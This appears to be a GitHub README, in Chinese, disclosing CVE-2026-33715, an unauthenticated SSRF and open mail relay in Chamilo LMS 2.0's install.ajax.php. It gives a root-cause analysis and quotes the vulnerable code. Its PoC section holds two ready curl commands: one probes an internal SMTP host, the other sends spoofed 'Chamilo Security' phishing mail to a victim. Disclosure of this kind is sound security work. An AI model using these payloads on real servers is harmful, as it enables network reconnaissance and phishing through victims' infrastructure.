romain-deperne/CVE-2026-33715
GitHub: romain-deperne/CVE-2026-33715
针对 Chamilo LMS 2.0 中 install.ajax.php 未授权 SSRF 与开放邮件中继漏洞的 PoC 利用代码与根因分析。
Stars: 0 | Forks: 0
# CVE-2026-33715 — Chamilo LMS 中通过 install.ajax.php 实现的未认证 SSRF + 开放邮件中继
**严重程度**:高 (CVSS 7.5)
**CWE**:CWE-918 (SSRF) + CWE-306 (缺失认证)
**受影响范围**:`chamilo/chamilo-lms` 2.0 (提交版本 0195b29 及更早版本)
** Advisory**:GHSA-mxc9-9335-45mc
**NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-33715
## 太长不看 (TL;DR)
在已完全安装的 Chamilo LMS 2.0 实例中,`install.ajax.php` 可以在未认证的情况下被访问。其 `test_mailer` 动作接受任意的 Symfony Mailer DSN 和来自 POST 数据的目标收件人,允许任何未经认证的攻击者强制服务器向任意内部主机发起 SMTP 连接 (SSRF),并将 Chamilo 服务器作为开放中继发送电子邮件。
## 我是如何发现这个漏洞的
在对 Chamilo LMS 进行审计时,我注意到它已经积累了几个 CVE,但其 AJAX 端点并未经过深度审计。我的方法是:列出 `public/main/inc/ajax/` 中的所有文件,并检查它们是否以 `require_once __DIR__.'/../global.inc.php'` 开头——这个包含文件负责在整个代码库中强制执行身份验证。
`install.ajax.php` 是个例外。它只包含了 Composer 自动加载器。文件名已经暗示它是安装时遗留的代码——而在其中 `grep` 搜索 `test_mailer` 进一步证实,它接受来自 POST 数据的原始 Symfony Mailer DSN 字符串,并将其直接传递给 `Transport::fromDsn()`。
这是一个完整的 SSRF 原语:未经认证的攻击者可以控制服务器连接的协议、主机和端口。由于它会通过你配置的任意传输方式发送实际邮件,这也使其变成了一个开放邮件中继。我通过一个简单的 `curl` 命令确认了在完全安装的实例上,无需任何 session cookie 即可访问该端点。
根本原因在于架构层面:该文件绕过了 Symfony 的安全防火墙,因为 Apache 的 `RewriteCond %{REQUEST_FILENAME} !-f` 会将存在的 PHP 文件直接交给 PHP 处理,而不会进入前端控制器。
## 受影响的组件
**文件**:`public/main/inc/ajax/install.ajax.php`
该文件是为安装向导设计的,但在安装完成后仍然可以访问。与同一目录下的其他所有 AJAX 端点不同,它**没有**包含 `global.inc.php`——这意味着没有任何身份验证和授权检查:
```
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
```
`test_mailer` 动作(约第 138 行)接受攻击者控制的 POST 参数:
```
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
```
**与正确受保护的端点进行比较:**
```
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
```
## 根本原因
该文件由 Apache 直接提供 (`RewriteCond %{REQUEST_FILENAME} !-f` 将现有的 PHP 文件直接通过,绕过了 Symfony 的安全防火墙)。由于没有包含 `global.inc.php`,意味着没有 session,没有认证,也没有安装完成的检查。
## PoC
有关完整的演示,请参见 [`poc.py`](./poc.py)。
```
# SSRF — 强制 Chamilo 连接到内部 SMTP server
curl -X POST "http:///main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "mailerFromEmail=test@chamilo.org" \
-d "mailerFromName=Test" \
-d "mailerTestDestination=attacker@evil.com"
# Open relay — 通过 Chamilo server 发送钓鱼邮件
curl -X POST "http:///main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "mailerFromEmail=security@chamilo.org" \
-d "mailerFromName=Chamilo Security" \
-d "mailerTestDestination=victim@target-org.com"
```
## 影响
1. **SSRF** — 未经认证的攻击者强制服务器向任意内部主机发起 SMTP 连接,从而能够进行内部网络侦察并可能利用内部邮件服务器
2. **开放邮件中继** — Chamilo 服务器将包含攻击者控制内容的电子邮件发送到任意目标地址,且看似源自服务器的合法 IP,这会损害邮件发送信誉
3. **信息泄露** — SMTP 错误响应会暴露内部网络拓扑结构和服务可用性
## 时间线
- **发现日期**:2026-03-22
- **报告日期**:GHSA-mxc9-9335-45mc (私有 Advisory)
- **CVE 发布**:CVE-2026-33715
标签:Apache, Chamilo LMS, CISA项目, CVE-2026-33715, CVSS 7.5, CWE-306, CWE-918, OpenVAS, PHP, SSRF, Symfony, Web安全, 企业级学习管理系统, 开放邮件中继, 情报收集, 教育信息化, 服务端请求伪造, 未授权访问, 漏洞研究, 网络安全, 蓝队分析, 逆向工具, 隐私保护